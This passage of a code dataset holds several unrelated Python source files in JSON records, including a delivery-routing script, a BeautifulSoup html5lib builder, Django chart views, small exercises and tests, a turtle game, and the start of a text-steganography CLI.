distanceData[6][j].strip() not in visited: # addressed in 7th row\r\n shortestColumnDistance = float(distanceData[currentRow][j]) # shortest distance\r\n location = distanceData[6][j].strip() # closest destination\r\n columnLocationDistance = [distanceData[6][j].strip(), j, float(distanceData[currentRow][j])]\r\n\r\n # Compare the shortest row and shortest column values to determine the next closest address\r\n # and checks if there is enough mileage to make the trip.\r\n if truckMiles + rowLocationDistance[2] < maxPerTruck and 0.0 < rowLocationDistance[2] and \\\r\n (rowLocationDistance[2] < columnLocationDistance[2] or shortestColumnDistance == 100.0): # \\\r\n # and rowLocationDistance[0] in packageHash:\r\n location = rowLocationDistance[0]\r\n currentRow = rowLocationDistance[1]\r\n currentColumn = currentRow - 5\r\n truckMiles += rowLocationDistance[2]\r\n elif truckMiles + columnLocationDistance[2] < maxPerTruck and 0.0 < columnLocationDistance[2] and \\\r\n (columnLocationDistance[2] < rowLocationDistance[2] or shortestRowDistance == 100.0):\r\n location = columnLocationDistance[0]\r\n currentColumn = columnLocationDistance[1]\r\n currentRow = currentColumn + 5\r\n truckMiles += columnLocationDistance[2]\r\n\r\n if 0.0 < rowLocationDistance[2] < columnLocationDistance[2] or \\\r\n 0.0 == columnLocationDistance[2] < rowLocationDistance[2]:\r\n nextMiles = rowLocationDistance[2]\r\n elif 0.0 < columnLocationDistance[2] < rowLocationDistance[2] or \\\r\n 0.0 == rowLocationDistance[2] < columnLocationDistance[2]:\r\n nextMiles = columnLocationDistance[2]\r\n\r\n visited.add(location.strip())\r\n\r\n # Reads each delivery address and edits addresses to common format for application to work properly.\r\n # Delivers package to address once the truck is verified to be at the destination address.\r\n # Time Complexity: O(n), Space Complexity: O(n)\r\n for x in range(len(packageLists) + 1):\r\n location1 = re.sub('North', 'N', location[:-8])\r\n location2 = re.sub('South', 'S', location1)\r\n location3 = re.sub('East', 'E', location2)\r\n location4 = re.sub('West', 'W', location3)\r\n destination1 = re.sub('North', 'N', str(packageHash.search(x)))\r\n destination2 = re.sub('South', 'S', destination1)\r\n destination3 = re.sub('East', 'E', destination2)\r\n destination4 = re.sub('West', 'W', destination3)\r\n if (location4 in destination4) and (x in truckSet) and (truckMiles < truckMiles + nextMiles < maxPerTruck):\r\n # compare location to package destination\r\n '''# Insert packages into hashtable\r\n p = Package(pID, pDestination, pCity, pState, pZip, pDeadline, pMass, pNotes)\r\n packageHash.insert(pID, p)'''\r\n if x != 9 or (x == 9 and time_to_hours(timeString, '10:20:00') > 0):\r\n deliveredLocations.add(location.strip())\r\n package = packageHash.search(x)\r\n t = miles_to_time(truckMiles + delayMiles)\r\n package[7] = 'Delivered at ' + t\r\n truckSet.remove(x)\r\n packageAmount -= 1\r\n\r\n totalMiles = get_total_miles(truckMiles)\r\n if returnToHub:\r\n global truck1Miles\r\n truck1Miles = truckMiles + float(distanceData[currentRow][2])\r\n\r\n\r\n# Start of Program\r\nif __name__ == '__main__':\r\n print(\"\\nWestern Governors University Parcel Service\")\r\n fileName = 'WGUPS Distance Table with column headers.csv'\r\n delay = '9:05:00'\r\n # Loop options menu\r\n dontExit = True\r\n while dontExit:\r\n print(\"\\nView status of package deliveries with 1 or 2, or exit with 3\")\r\n print(\"1. View status of a package\")\r\n print(\"2. View status of all packages\")\r\n print(\"3. Exit\")\r\n choice = input()\r\n if choice == '1' or choice == \"2\":\r\n print(\"At what time do you want to check the status of the package(s)?\")\r\n print(\"Please enter a time in 24-hour in HH:MM or HH:MM:SS format after 08:00:00\")\r\n # trucks go 18 mph, max 140 miles, 2 drivers, 70 miles/3.9 hrs per truck driver\r\n # While loop to retry code block if input is improper format\r\n retry = True\r\n while retry:\r\n try:\r\n time = input()\r\n totalMiles = 0.0\r\n maxMiles = time_to_hours(time, '8:00:00') * 18\r\n # Calls package data loading and delivery methods.\r\n # Truck 1 begins delivery immediately at start of workday to deliver packages with early deadlines.\r\n # Truck 2 begins delivery when all delayed packages arrive to hub.\r\n # Truck 3 begins delivery of remaining packages when driver of Truck 1 returns to hub.\r\n # trucks go 18 mph, max 140 miles, 2 drivers, 70 miles/3.9 hrs per truck driver\r\n\r\n # Maximum possible mileage based on time elapsed from start of workday to input time.\r\n # maxMiles = time_to_hours(time, '8:00:00') * 18\r\n load_package_list(time)\r\n load_package_hash()\r\n package_delivery(time, fileName, truck1set, 'Truck 1', True, 0)\r\n if time_to_hours(time, delay) > 0:\r\n package_delivery(time, fileName, truck2set, 'Truck 2', False, 18 * 65 / 60)\r\n # need to have truck driver drive back\r\n if len(truck1set) == 0:\r\n package_delivery(time, fileName, truck3set, 'Truck 3', False, truck1Miles)\r\n # Time Complexity: O(n), Space Complexity: O(1)\r\n if choice == '1':\r\n print('Of which package do you want to check the status?')\r\n packageChoice = input()\r\n while not 0 < int(packageChoice) < len(packageHash.table) + 1:\r\n print('Please enter a package ID of an existing package.')\r\n packageChoice = input()\r\n print('Package Status')\r\n print(\"Package: {}\".format(packageHash.search(int(packageChoice))))\r\n elif choice == '2':\r\n print('Package Status')\r\n for i in range(len(packageHash.table)):\r\n print(\"Package: {}\".format(packageHash.search(i + 1)))\r\n print('Total miles driven: %.2f' % totalMiles)\r\n retry = False\r\n except ValueError:\r\n print(\"Please enter a proper time in HH:MM:SS format.\")\r\n elif choice == \"3\":\r\n print(\"Exiting...\")\r\n dontExit = False\r\n else:\r\n print(\"Please enter 1 or 2.\")\r\n\r\n\r\n# End of Main\r\n","repo_name":"longtran430/WGU-DSA-II","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"42554355654","text":"__all__ = [\n 'HTML5TreeBuilder',\n ]\n\nimport warnings\nfrom bs4.builder import (\n PERMISSIVE,\n HTML,\n HTML_5,\n HTMLTreeBuilder,\n )\nfrom bs4.element import NamespacedAttribute\nimport html5lib\nfrom html5lib.constants import namespaces\nfrom bs4.element import (\n Comment,\n Doctype,\n NavigableString,\n Tag,\n )\n\nclass HTML5TreeBuilder(HTMLTreeBuilder):\n \"\"\"Use html5lib to build a tree.\"\"\"\n\n features = ['html5lib', PERMISSIVE, HTML_5, HTML]\n\n def prepare_markup(self, markup, user_specified_encoding):\n # Store the user-specified encoding for use later on.\n self.user_specified_encoding = user_specified_encoding\n yield (markup, None, None, False)\n\n # These methods are defined by Beautiful Soup.\n def feed(self, markup):\n if self.soup.parse_only is not None:\n warnings.warn(\"You provided a value for parse_only, but the html5lib tree builder doesn't support parse_only. The entire document will be parsed.\")\n parser = html5lib.HTMLParser(tree=self.create_treebuilder)\n doc = parser.parse(markup, encoding=self.user_specified_encoding)\n\n # Set the character encoding detected by the tokenizer.\n if isinstance(markup, unicode):\n # We need to special-case this because html5lib sets\n # charEncoding to UTF-8 if it gets Unicode input.\n doc.original_encoding = None\n else:\n doc.original_encoding = parser.tokenizer.stream.charEncoding[0]\n\n def create_treebuilder(self, namespaceHTMLElements):\n self.underlying_builder = TreeBuilderForHtml5lib(\n self.soup, namespaceHTMLElements)\n return self.underlying_builder\n\n def test_fragment_to_document(self, fragment):\n \"\"\"See `TreeBuilder`.\"\"\"\n return u'%s' % fragment\n\n\nclass TreeBuilderForHtml5lib(html5lib.treebuilders._base.TreeBuilder):\n\n def __init__(self, soup, namespaceHTMLElements):\n self.soup = soup\n super(TreeBuilderForHtml5lib, self).__init__(namespaceHTMLElements)\n\n def documentClass(self):\n self.soup.reset()\n return Element(self.soup, self.soup, None)\n\n def insertDoctype(self, token):\n name = token[\"name\"]\n publicId = token[\"publicId\"]\n systemId = token[\"systemId\"]\n\n doctype = Doctype.for_name_and_ids(name, publicId, systemId)\n self.soup.object_was_parsed(doctype)\n\n def elementClass(self, name, namespace):\n tag = self.soup.new_tag(name, namespace)\n return Element(tag, self.soup, namespace)\n\n def commentClass(self, data):\n return TextNode(Comment(data), self.soup)\n\n def fragmentClass(self):\n self.soup = BeautifulSoup(\"\")\n self.soup.name = \"[document_fragment]\"\n return Element(self.soup, self.soup, None)\n\n def appendChild(self, node):\n # XXX This code is not covered by the BS4 tests.\n self.soup.append(node.element)\n\n def getDocument(self):\n return self.soup\n\n def getFragment(self):\n return html5lib.treebuilders._base.TreeBuilder.getFragment(self).element\n\nclass AttrList(object):\n def __init__(self, element):\n self.element = element\n self.attrs = dict(self.element.attrs)\n def __iter__(self):\n return list(self.attrs.items()).__iter__()\n def __setitem__(self, name, value):\n \"set attr\", name, value\n self.element[name] = value\n def items(self):\n return list(self.attrs.items())\n def keys(self):\n return list(self.attrs.keys())\n def __len__(self):\n return len(self.attrs)\n def __getitem__(self, name):\n return self.attrs[name]\n def __contains__(self, name):\n return name in list(self.attrs.keys())\n\n\nclass Element(html5lib.treebuilders._base.Node):\n def __init__(self, element, soup, namespace):\n html5lib.treebuilders._base.Node.__init__(self, element.name)\n self.element = element\n self.soup = soup\n self.namespace = namespace\n\n def appendChild(self, node):\n string_child = child = None\n if isinstance(node, basestring):\n # Some other piece of code decided to pass in a string\n # instead of creating a TextElement object to contain the\n # string.\n string_child = child = node\n elif isinstance(node, Tag):\n # Some other piece of code decided to pass in a Tag\n # instead of creating an Element object to contain the\n # Tag.\n child = node\n elif node.element.__class__ == NavigableString:\n string_child = child = node.element\n else:\n child = node.element\n\n if not isinstance(child, basestring) and child.parent is not None:\n node.element.extract()\n\n if (string_child and self.element.contents\n and self.element.contents[-1].__class__ == NavigableString):\n # We are appending a string onto another string.\n # TODO This has O(n^2) performance, for input like\n # \"aaa...\"\n old_element = self.element.contents[-1]\n new_element = self.soup.new_string(old_element + string_child)\n old_element.replace_with(new_element)\n self.soup._most_recent_element = new_element\n else:\n if isinstance(node, basestring):\n # Create a brand new NavigableString from this string.\n child = self.soup.new_string(node)\n\n # Tell Beautiful Soup to act as if it parsed this element\n # immediately after the parent's last descendant. (Or\n # immediately after the parent, if it has no children.)\n if self.element.contents:\n most_recent_element = self.element._last_descendant(False)\n else:\n most_recent_element = self.element\n\n self.soup.object_was_parsed(\n child, parent=self.element,\n most_recent_element=most_recent_element)\n\n def getAttributes(self):\n return AttrList(self.element)\n\n def setAttributes(self, attributes):\n if attributes is not None and len(attributes) > 0:\n\n converted_attributes = []\n for name, value in list(attributes.items()):\n if isinstance(name, tuple):\n new_name = NamespacedAttribute(*name)\n del attributes[name]\n attributes[new_name] = value\n\n self.soup.builder._replace_cdata_list_attribute_values(\n self.name, attributes)\n for name, value in attributes.items():\n self.element[name] = value\n\n # The attributes may contain variables that need substitution.\n # Call set_up_substitutions manually.\n #\n # The Tag constructor called this method when the Tag was created,\n # but we just set/changed the attributes, so call it again.\n self.soup.builder.set_up_substitutions(self.element)\n attributes = property(getAttributes, setAttributes)\n\n def insertText(self, data, insertBefore=None):\n if insertBefore:\n text = TextNode(self.soup.new_string(data), self.soup)\n self.insertBefore(data, insertBefore)\n else:\n self.appendChild(data)\n\n def insertBefore(self, node, refNode):\n index = self.element.index(refNode.element)\n if (node.element.__class__ == NavigableString and self.element.contents\n and self.element.contents[index-1].__class__ == NavigableString):\n # (See comments in appendChild)\n old_node = self.element.contents[index-1]\n new_str = self.soup.new_string(old_node + node.element)\n old_node.replace_with(new_str)\n else:\n self.element.insert(index, node.element)\n node.parent = self\n\n def removeChild(self, node):\n node.element.extract()\n\n def reparentChildren(self, new_parent):\n \"\"\"Move all of this tag's children into another tag.\"\"\"\n element = self.element\n new_parent_element = new_parent.element\n # Determine what this tag's next_element will be once all the children\n # are removed.\n final_next_element = element.next_sibling\n\n new_parents_last_descendant = new_parent_element._last_descendant(False, False)\n if len(new_parent_element.contents) > 0:\n # The new parent already contains children. We will be\n # appending this tag's children to the end.\n new_parents_last_child = new_parent_element.contents[-1]\n new_parents_last_descendant_next_element = new_parents_last_descendant.next_element\n else:\n # The new parent contains no children.\n new_parents_last_child = None\n new_parents_last_descendant_next_element = new_parent_element.next_element\n\n to_append = element.contents\n append_after = new_parent.element.contents\n if len(to_append) > 0:\n # Set the first child's previous_element and previous_sibling\n # to elements within the new parent\n first_child = to_append[0]\n first_child.previous_element = new_parents_last_descendant\n first_child.previous_sibling = new_parents_last_child\n\n # Fix the last child's next_element and next_sibling\n last_child = to_append[-1]\n last_child.next_element = new_parents_last_descendant_next_element\n last_child.next_sibling = None\n\n for child in to_append:\n child.parent = new_parent_element\n new_parent_element.contents.append(child)\n\n # Now that this element has no children, change its .next_element.\n element.contents = []\n element.next_element = final_next_element\n\n def cloneNode(self):\n tag = self.soup.new_tag(self.element.name, self.namespace)\n node = Element(tag, self.soup, self.namespace)\n for key,value in self.attributes:\n node.attributes[key] = value\n return node\n\n def hasContent(self):\n return self.element.contents\n\n def getNameTuple(self):\n if self.namespace == None:\n return namespaces[\"html\"], self.name\n else:\n return self.namespace, self.name\n\n nameTuple = property(getNameTuple)\n\nclass TextNode(Element):\n def __init__(self, element, soup):\n html5lib.treebuilders._base.Node.__init__(self, None)\n self.element = element\n self.soup = soup\n\n def cloneNode(self):\n raise NotImplementedError\n","repo_name":"cinder/Cinder","sub_path":"docs/libs/bs4/builder/_html5lib.py","file_name":"_html5lib.py","file_ext":"py","file_size_in_byte":10647,"program_lang":"python","lang":"en","doc_type":"code","stars":5177,"dataset":"github-code","pt":"0"}
+{"seq_id":"26452365260","text":"from django.shortcuts import render\nfrom projects.models import Project, ProjectStats, MiscStats, Department\nfrom datetime import datetime, timedelta\nfrom django.http import JsonResponse, HttpResponse\nimport logging\nfrom django.utils.timezone import now, make_aware\nfrom django.contrib.auth.decorators import login_required\nfrom projects.reports import generate_yearly_report\nimport mimetypes\n\nstart_year = 2023\ntoday = datetime.now()\nend_month = today.month\nend_year = today.year\n\nlogger = logging.getLogger(__name__)\n\nCOLORSET = ['rgba(141,211,199)', 'rgba(255,255,179)', 'rgba(190,186,218)', 'rgba(251,128,114)', 'rgba(128,177,211)',\n 'rgba(253,180,98)', 'rgba(179,222,105)', 'rgba(252,205,229)', 'rgba(217,217,217)', 'rgba(188,128,189)',\n 'rgba(204,235,197)', 'rgba(255,237,111)', 'rgba(255,237,111)', 'rgba(255,237,111)', 'rgba(255,237,111)', 'rgba(255,237,111)', 'rgba(255,237,111)', 'rgba(255,237,111)', 'rgba(255,237,111)']\n\n\n# Create your views here.\ndef index(request):\n miscstats = MiscStats.objects.latest('collected')\n cutoff = make_aware(datetime.combine(miscstats.collected, datetime.min.time())) - timedelta(days=366)\n logger.info(f'******** cutoff: {cutoff}')\n context = {\n 'num_projects': Project.objects.filter(delete_date__isnull=True).all().count,\n # change date over a year ago\n 'stale_projects': Project.objects.filter(last_update__lt = cutoff).all().count,\n #'stale_empty_projects': Project.objects.filter(last_update__lt = cutoff, size = 0).all().count,\n 'total_size': \"%3.1f\" % (miscstats.size_total / 1024),\n 'total_quotum': \"%3.1f\" % (miscstats.quotum_total / 1024),\n 'num_users': miscstats.users_total,\n 'last_updated': miscstats.collected,\n 'current_year': end_year,\n 'previous_year': end_year-1,\n }\n return render(request, 'index.html', context=context)\n\n@login_required(login_url='/admin/login/')\ndef download_billing_report(request, year: int):\n # fill these variables with real values\n fl_path = generate_yearly_report(int(year), include_revisions=True)\n if int(year) == today.year:\n month = today.month\n else:\n month = 12\n filename = f'researchdrive_cost_report_{year}-{month}.xlsx'\n\n fl = open(fl_path, 'rb')\n mime_type, _ = mimetypes.guess_type(fl_path)\n response = HttpResponse(fl, content_type=mime_type)\n response['Content-Disposition'] = \"attachment; filename=%s\" % filename\n return response\n\ndef _quarterly_miscstats():\n quarters = [3, 6, 9, 12]\n stats = []\n for year in range(start_year, end_year + 1):\n q = 1\n for month in quarters:\n s = MiscStats.objects.filter(collected__year=year, collected__month__lte=month,\n collected__month__gt=month - 3).order_by('collected').last()\n if s is not None:\n s.label = f'{year}-Q{q}'\n stats.append(s)\n q += 1\n return stats\n\ndef project_chart_json(request):\n labels = []\n data = []\n miscstats = _quarterly_miscstats()\n for s in miscstats:\n labels.append(s.label)\n data.append(s.projects_total)\n datasets = [{\n 'label': 'Projects',\n 'backgroundColor': 'rgba(56,108,176, 0.4)',\n 'borderColor': 'rgba(56,108,176)',\n 'borderWidth': 1,\n 'data': data\n }]\n return JsonResponse(data={'labels': labels, 'datasets': datasets})\n\n\ndef size_chart_json(request):\n labels = []\n data = []\n div = 1024\n stats = _quarterly_miscstats()\n for s in stats:\n labels.append(s.label)\n data.append(round(s.size_total / div, 2))\n datasets = [\n {\n 'label': 'Usage',\n 'backgroundColor': 'rgba(237, 154, 200, 0.4)',\n 'borderColor': 'rgba(237, 154, 200)',\n 'borderWidth': 1,\n 'data': data,\n },\n ]\n return JsonResponse(data={'labels': labels, 'datasets': datasets})\n\ndef quotum_chart_json(request):\n labels = []\n data = []\n div = 1024\n stats = _quarterly_miscstats()\n for s in stats:\n labels.append(s.label)\n data.append(round(s.quotum_total / div, 2))\n datasets = [\n {\n 'label': 'Quota',\n 'backgroundColor': 'rgb(217, 248, 154, 0.4)',\n 'borderColor': 'rgb(217, 248, 154)',\n 'borderWidth': 1,\n 'data': data,\n },\n ]\n return JsonResponse(data={'labels': labels, 'datasets': datasets})\n\ndef user_chart_json(request):\n labels = []\n internal = []\n external = []\n miscstats = _quarterly_miscstats()\n for s in miscstats:\n labels.append(s.label)\n internal.append(s.internal_users_total)\n external.append(s.external_users_total)\n datasets = [\n {\n 'label': 'internal',\n 'data': internal,\n 'backgroundColor': 'rgba(127,201,127, 0.4)',\n 'borderColor': 'rgba(127,201,127)',\n 'borderWidth': 1,\n },\n {\n 'label': 'external',\n 'data': external,\n 'backgroundColor': 'rgba(190,174,212, 0.4)',\n 'borderColor': 'rgba(190,174,212)',\n 'borderWidth': 1,\n },\n ]\n return JsonResponse(data={'labels': labels, 'datasets': datasets})\n\ndef faculty_chart_json(request):\n labels = []\n data = []\n index = {}\n i = 0\n colors = []\n projects = Project.objects.filter(delete_date__isnull=True).order_by('department').all()\n for project in projects:\n faculty = Department.objects.get(id=project.department.id).faculty\n if faculty==\"BET\" or faculty==\"FEW\": \n faculty=\"BETA\"\n if faculty==\"LET\" or faculty==\"fGW\":\n faculty=\"FGW\"\n if faculty==\"FPP\" or faculty==\"FBG\":\n faculty=\"FGB\"\n if faculty not in [\"ACTA\", \"SBE\", \"FSW\", \"FGB\", \"FGW\", \"BETA\",\"RCH\", \"FRT\"]:\n faculty=\"other\"\n if faculty not in labels:\n index[faculty] = i\n data.append(0)\n labels.append(faculty)\n colors.append(COLORSET[i])\n i += 1\n data[index[faculty]] += 1\n datasets = [{\n 'label': 'Faculty',\n 'backgroundColor': colors,\n 'data': data\n }]\n return JsonResponse(data={'labels': labels, 'datasets': datasets})\n\ndef size_breakdown_chart_json(request):\n labels = ['empty', '0-10', '10-100', '100-500', '500-1000', '>1000']\t\n data = []\n collected=MiscStats.objects.latest('collected').collected\n data.append(ProjectStats.objects.filter(size = 0, collected = collected).all().count())\n data.append(ProjectStats.objects.filter(size__gt = 0, size__lte = 10, collected = collected).all().count())\n data.append(ProjectStats.objects.filter(size__gt = 10, size__lte = 100, collected = collected).all().count())\n data.append(ProjectStats.objects.filter(size__gt = 100, size__lte = 500, collected = collected).all().count())\n data.append(ProjectStats.objects.filter(size__gt = 500, size__lte = 1000, collected = collected).all().count())\n data.append(ProjectStats.objects.filter(size__gt = 1000, collected = collected).all().count())\n \n \n datasets = [\n {\n 'label': 'Size breakdown',\n 'backgroundColor': 'rgb(128,177,211, 0.4)',\n 'borderColor': 'rgba(128,177,211)',\n 'borderWidth': 1,\n 'data': data,\n },\n ]\n return JsonResponse(data={'labels': labels, 'datasets': datasets})","repo_name":"peer35/adminrd","sub_path":"adminrd/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30563484192","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def plusOne(self, head: ListNode) -> ListNode:\n head = self.reverse(head)\n dummy = ListNode(0)\n dummy.next = head\n while head and head.val == 9:\n head.val = 0\n head = head.next\n if head:\n head.val += 1\n return self.reverse(dummy.next)\n else:\n head = ListNode(1)\n head.next = self.reverse(dummy.next)\n return head\n\n def reverse(self, head):\n pre = None\n while head:\n curr = head\n head = head.next\n curr.next = pre\n pre = curr\n return pre","repo_name":"TimothySjiang/leetcodepy","sub_path":"Solution_369.py","file_name":"Solution_369.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"71264275558","text":"\"\"\"\nSentiment Analyzer\n\nDetermine the sentiment -1 (negative) to 1 (positive) for a block of text\n\nSee: https://planspace.org/20150607-textblob_sentiment/\n\"\"\"\n\nfrom textblob import TextBlob\n\n\nclass SentimentAnalyzer(object):\n \"\"\"\n Analyze the sentiment of a block of text\n \"\"\"\n @staticmethod\n def get_sentiment(text: str) -> float:\n \"\"\"\n Return a float -1 to 1 that gauges the sentiment of a message\n\n :param text: any block of text\n :return: sentiment as float\n \"\"\"\n return TextBlob(text).polarity\n","repo_name":"irregularengineering/slackbot","sub_path":"slackbot/utils/sentiment_analyzer.py","file_name":"sentiment_analyzer.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"41222485448","text":"from tempfile import NamedTemporaryFile\nimport aiofiles\nimport pytest\nimport os\n\nfrom aiocsv import AsyncReader, AsyncWriter\n\nFILENAME = \"tests/math_constants.csv\"\nHEADER = [\"name\", \"value\"]\nVALUES = [\n [\"pi\", \"3.1416\"],\n [\"sqrt2\", \"1.4142\"],\n [\"phi\", \"1.618\"],\n [\"e\", \"2.7183\"]\n]\n\n\n@pytest.mark.asyncio\nasync def test_simple_read():\n async with aiofiles.open(FILENAME, mode=\"r\", encoding=\"ascii\", newline=\"\") as af:\n read_rows = [i async for i in AsyncReader(af)]\n assert read_rows == VALUES\n\n\n@pytest.mark.asyncio\nasync def test_simple_write():\n # Create a TempFile to direct writer to\n with NamedTemporaryFile(mode=\"w+\", suffix=\".csv\", delete=False) as tf:\n target_name = tf.name\n\n try:\n # Write rows\n async with aiofiles.open(target_name, mode=\"w\", encoding=\"ascii\", newline=\"\") as afp:\n writer = AsyncWriter(afp)\n await writer.writerow(VALUES[0])\n await writer.writerows(VALUES[1:])\n\n # Read original and created files\n with open(target_name, mode=\"r\", encoding=\"ascii\") as created_f:\n created = created_f.read()\n\n with open(FILENAME, mode=\"r\", encoding=\"ascii\") as original_f:\n original = original_f.read()\n\n # Check if content matches\n assert created == original\n\n finally:\n os.remove(target_name)\n","repo_name":"MKuranowski/aiocsv","sub_path":"tests/test_simple.py","file_name":"test_simple.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"0"}
+{"seq_id":"7884228686","text":"# -*- coding: utf-8 -*-\nimport os\nimport re\nfrom setuptools import setup\n\n\ndef read(filename):\n with open(os.path.join(os.path.dirname(__file__), filename)) as f:\n file_content = f.read()\n return file_content\n\n\ndef get_requirements():\n requirements = []\n for requirement in read('requirements.txt').splitlines():\n if requirement.startswith('git+') or requirement.startswith('svn+') or requirement.startswith('hg+'):\n parsed_requires = re.findall(r'#egg=([\\w\\d\\.]+)-([\\d\\.]+)$', requirement)\n if parsed_requires:\n package, version = parsed_requires[0]\n requirements.append(f'{package}=={version}')\n else:\n print('WARNING! For correct matching dependency links need to specify package name and version'\n 'such as #egg=-')\n else:\n requirements.append(requirement)\n return requirements\n\n\ndef get_links():\n return [\n requirement for requirement in read('requirements.txt').splitlines()\n if requirement.startswith('git+') or requirement.startswith('svn+') or requirement.startswith('hg+')\n ]\n\n\ndef get_version():\n \"\"\" Get version from the package without actually importing it. \"\"\"\n init = read('rudolph/__init__.py')\n for line in init.split('\\n'):\n if line.startswith('__version__'):\n return eval(line.split('=')[1])\n\n\nsetup(\n name='rudolph',\n version=get_version(),\n author='SberAI, SberDevices',\n author_email='shonenkov@phystech.edu',\n description='RuDOLPH: One Hyper-Modal Transformer can be creative as DALL-E and smart as CLIP',\n packages=['rudolph', 'rudolph/model'],\n install_requires=get_requirements(),\n dependency_links=get_links(),\n long_description=read('README.md'),\n long_description_content_type='text/markdown',\n)\n","repo_name":"ai-forever/ru-dolph","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":254,"dataset":"github-code","pt":"0"}
+{"seq_id":"6358753990","text":"# catch the turtle game\r\n\r\nimport turtle\r\nimport random\r\n\r\nscreen = turtle.Screen()\r\nscreen.bgcolor(\"light blue\")\r\nscreen.title(\"catch the turtle\")\r\n\r\nFONT = ('Arial' , 25, 'normal')\r\ngrid_size = 10\r\nturtle_list = []\r\nscore = 0\r\ngame_over =False\r\nx_coordinates = [-20, -10 , 0, 10, 20]\r\ny_coordinates = [20, 10, 0 -10, -20]\r\n\r\nscore_turtle = turtle.Turtle()\r\ncount_down_turtle = turtle.Turtle()\r\n\r\ndef setup_score_turtle():\r\n\r\n score_turtle.hideturtle()\r\n score_turtle.color(\"dark blue\")\r\n score_turtle.penup()\r\n top_height = screen.window_height() / 2\r\n y = top_height * 0.85\r\n score_turtle.setposition(0,y)\r\n score_turtle.color(\"dark blue\")\r\n score_turtle.write(arg=\"score : 0\", move=False, align=\"center\", font=FONT)\r\n\r\ndef make_turle(x,y):\r\n t = turtle.Turtle()\r\n def handle_click(x,y):\r\n global score\r\n score += 1\r\n score_turtle.clear()\r\n score_turtle.write(arg=f\"score : {score}\", move=False, align=\"center\", font=FONT)\r\n\r\n t.onclick(handle_click)\r\n t.penup()\r\n t.shape(\"turtle\")\r\n t.shapesize(2,2)\r\n t.color(\"dark green\")\r\n t.setposition(x * grid_size , y * grid_size)\r\n turtle_list.append(t)\r\n\r\n\r\ndef setup_turtle():\r\n for i in x_coordinates:\r\n for k in y_coordinates:\r\n make_turle(i,k)\r\n\r\ndef hide_turtles():\r\n for t in turtle_list:\r\n t.hideturtle()\r\n\r\n\r\ndef show_turtle_randomly():\r\n if not game_over:\r\n hide_turtles()\r\n random.choice(turtle_list).showturtle()\r\n screen.ontimer(show_turtle_randomly,600)\r\n\r\ndef countdown(time):\r\n global game_over\r\n count_down_turtle.hideturtle()\r\n count_down_turtle.color(\"dark blue\")\r\n count_down_turtle.penup()\r\n\r\n top_height = screen.window_height() / 2\r\n y = top_height * 0.85\r\n count_down_turtle.setposition(0, y-30)\r\n count_down_turtle.clear()\r\n\r\n if time > 0 :\r\n count_down_turtle.clear()\r\n count_down_turtle.write(arg=f\"time : {time}\", move=False, align=\"center\", font=FONT)\r\n screen.ontimer(lambda: countdown(time - 1) , 1000)\r\n else:\r\n game_over = True\r\n count_down_turtle.clear()\r\n hide_turtles()\r\n count_down_turtle.write(arg=\"Game Over!\", move=False, align=\"center\", font=FONT)\r\n\r\n\r\ndef play_game():\r\n turtle.tracer(0)\r\n setup_score_turtle()\r\n setup_turtle()\r\n hide_turtles()\r\n show_turtle_randomly()\r\n countdown(20)\r\n turtle.tracer(1)\r\n\r\nplay_game()\r\nturtle.mainloop()","repo_name":"firatgunay/CatchTheTurtle","sub_path":"catchtheturtle.py","file_name":"catchtheturtle.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"25371168352","text":"########################################################################\r\n# #\r\n# Cyprium is a multifunction cryptographic, steganographic and #\r\n# cryptanalysis tool developped by members of The Hackademy. #\r\n# French White Hat Hackers Community! #\r\n# cyprium.hackademics.fr # #\r\n# Authors: SAKAROV, mont29, afranck64 #\r\n# Contact: admin@hackademics.fr #\r\n# Forum: hackademics.fr #\r\n# Twitter: @hackademics_ #\r\n# #\r\n# Cyprium is free software: you can redistribute it and/or modify #\r\n# it under the terms of the GNU General Public License as published #\r\n# by the Free Software Foundation, either version 3 of the License, #\r\n# or any later version. #\r\n# #\r\n# This program is distributed in the hope that it will be useful, #\r\n# but without any warranty; without even the implied warranty of #\r\n# merchantability or fitness for a particular purpose. See the #\r\n# GNU General Public License for more details. #\r\n# #\r\n# The terms of the GNU General Public License is detailed in the #\r\n# COPYING attached file. If not, see : http://www.gnu.org/licenses #\r\n# #\r\n########################################################################\r\n\r\nimport sys\r\nimport os\r\n\r\n# In case we directly run that file, we need to add the whole cyprium to path,\r\n# to get access to CLI stuff!\r\nif __name__ == \"__main__\":\r\n sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__),\r\n \"..\", \"..\", \"..\", \"..\",\r\n \"..\")))\r\n\r\nimport app.cli\r\nimport kernel.stegano.text.sema as sema\r\nimport kernel.utils as utils\r\n\r\n\r\nclass Sema(app.cli.Tool):\r\n \"\"\"CLI wrapper for sema stegano text tool.\"\"\"\r\n marker = b\"\\xcc\\xa3\".decode(\"utf8\")\r\n\r\n def main(self, ui):\r\n ui.message(\"********** Welcome to Cyprium.Sema! **********\")\r\n quit = False\r\n while not quit:\r\n options = [(self.about, \"*about\", \"Show some help!\"),\r\n (self.demo, \"*demo\", \"Show some examples\"),\r\n (self.hide, \"*hide\", \"Hide some data into a text\"),\r\n (self.unhide, \"*unhide\",\r\n \"Find the data hidden into the given \"\r\n \"text\"),\r\n (\"\", \"-----\", \"\"),\r\n (\"tree\", \"*tree\", \"Show the whole tree\"),\r\n (\"quit\", \"*quit\", \"Quit Cyprium.Sema\")]\r\n msg = \"Cyprium.Sema\"\r\n answ = ui.get_choice(msg, options)\r\n\r\n if answ == 'tree':\r\n self._tree.print_tree(ui, self._tree.FULL)\r\n elif answ == 'quit':\r\n 